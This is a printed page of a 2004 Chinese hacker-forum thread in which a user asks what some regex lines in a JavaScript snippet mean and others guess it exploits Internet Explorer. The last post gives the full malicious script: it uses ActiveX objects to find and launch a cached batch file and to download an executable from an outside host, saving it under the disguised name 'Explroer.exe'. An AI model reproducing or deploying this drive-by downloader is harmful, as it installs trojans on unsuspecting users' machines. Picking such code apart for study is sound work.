Board logo

标题: javascript问题 看不懂 请教 解释一下 [打印本页]

作者: 无事莫扰    时间: 2004-10-8 16:35     标题: javascript问题 看不懂 请教 解释一下

function xuehanlovelace(){
url=document.location.href;
xtmu=url.substring(6,url.indexOf('\\',9)+1);
xtp=url.substr(6,3);
var shell=new ActiveXObject("shell.application");
var runbz=1;
var exeSize=2372;
var a=/xuehan\[\d*\]\.bat/gi;
a.compile("xuehan\\[\\d*\\]\\.bat","gi");
var b=/[A-Za-z]:\\/gi;
b.compile("[A-Za-z]:\\\\","gi");
wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\\
if(runbz)wjj(xtp+"Documents and Settings\\");

b.compile("[A-Za-z]:\\\\","gi"); 和var a=/xuehan\[\d*\]\.bat/gi;
a.compile("xuehan\\[\\d*\\]\\.bat","gi");
这两句的意思能解释一下吗?  谢谢

作者: 飛鳥    时间: 2004-10-8 19:01     标题: javascript问题 看不懂 请教 解释一下

从字面看,好像是利用IE打开文件,还是下载文件的
那俩句话应该是参数~~
(我是不懂的呀,是从其他编程语言的角度乱猜的)(
回去看一下先
作者: damnyou    时间: 2004-10-8 19:14     标题: javascript问题 看不懂 请教 解释一下


    应该是利用什么漏洞在IE客户端下载或者写了一个文件.木马
    如果能联系上下文,估计会好理解点.
   
作者: 无事莫扰    时间: 2004-10-8 21:59     标题: javascript问题 看不懂 请教 解释一下

本来这个javascript带有恶意的 不想公开 呵呵 不过是为了请教 还是拿出来了 这个东西在网上能找到的. unction xuehanlovelace(){ url=document.location.href; xtmu=url.substring(6,url.indexOf('\\',9)+1); xtp=url.substr(6,3); var shell=new ActiveXObject("shell.application"); var runbz=1; var exeSize=2372; var a=/xuehan\[\d*\]\.bat/gi; a.compile("xuehan\\[\\d*\\]\\.bat","gi"); var b=/[A-Za-z]:\\/gi; b.compile("[A-Za-z]:\\\\","gi"); wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\\ if(runbz)wjj(xtp+"Documents and Settings\\"); if(runbz)yp(); function yp(){ try{ var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items()); for (;!c.atEnd();c.moveNext()){ if(runbz){if(b.test(c.item().path))wjj(c.item().path);} else break; } }catch(e){} } function wjj(b){ try{ var c=new Enumerator(shell.namespace(b).Items()); for (;!c.atEnd();c.moveNext()){ if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){ var f=c.item().path; var v=f.lastIndexOf('\\')+1; try{ shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb(); runbz=0; break; }catch(e){} } if(!c.item().Size)wjj(c.item().path+"\\"); } }catch(e){} } } function xuehan(){ var name="Explroer.exe"; var url="http://xuehan.go.nease.net/xuehan.exe"; try{ var folder=document.location.href; folder=folder.substring(6,folder.indexOf('\\',9)+1)+name; var xml=new ActiveXObject("Microsoft.XMLHTTP"); xml.open("GET",url,false); xml.send(); if(xml.status==200){ var ado=new ActiveXObject("ADODB.Stream"); ado.Type=1; ado.Open(); ado.write(xml.responseBody); ado.SaveToFile(folder,2); ado.Close(); ado=null; } xml=null; document.body.insertAdjacentHTML('AfterBegin',''); } catch(e){} } try{new ActiveXObject("ADODB.Stream");xuehan();}catch(e){xuehanlovelace();}




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2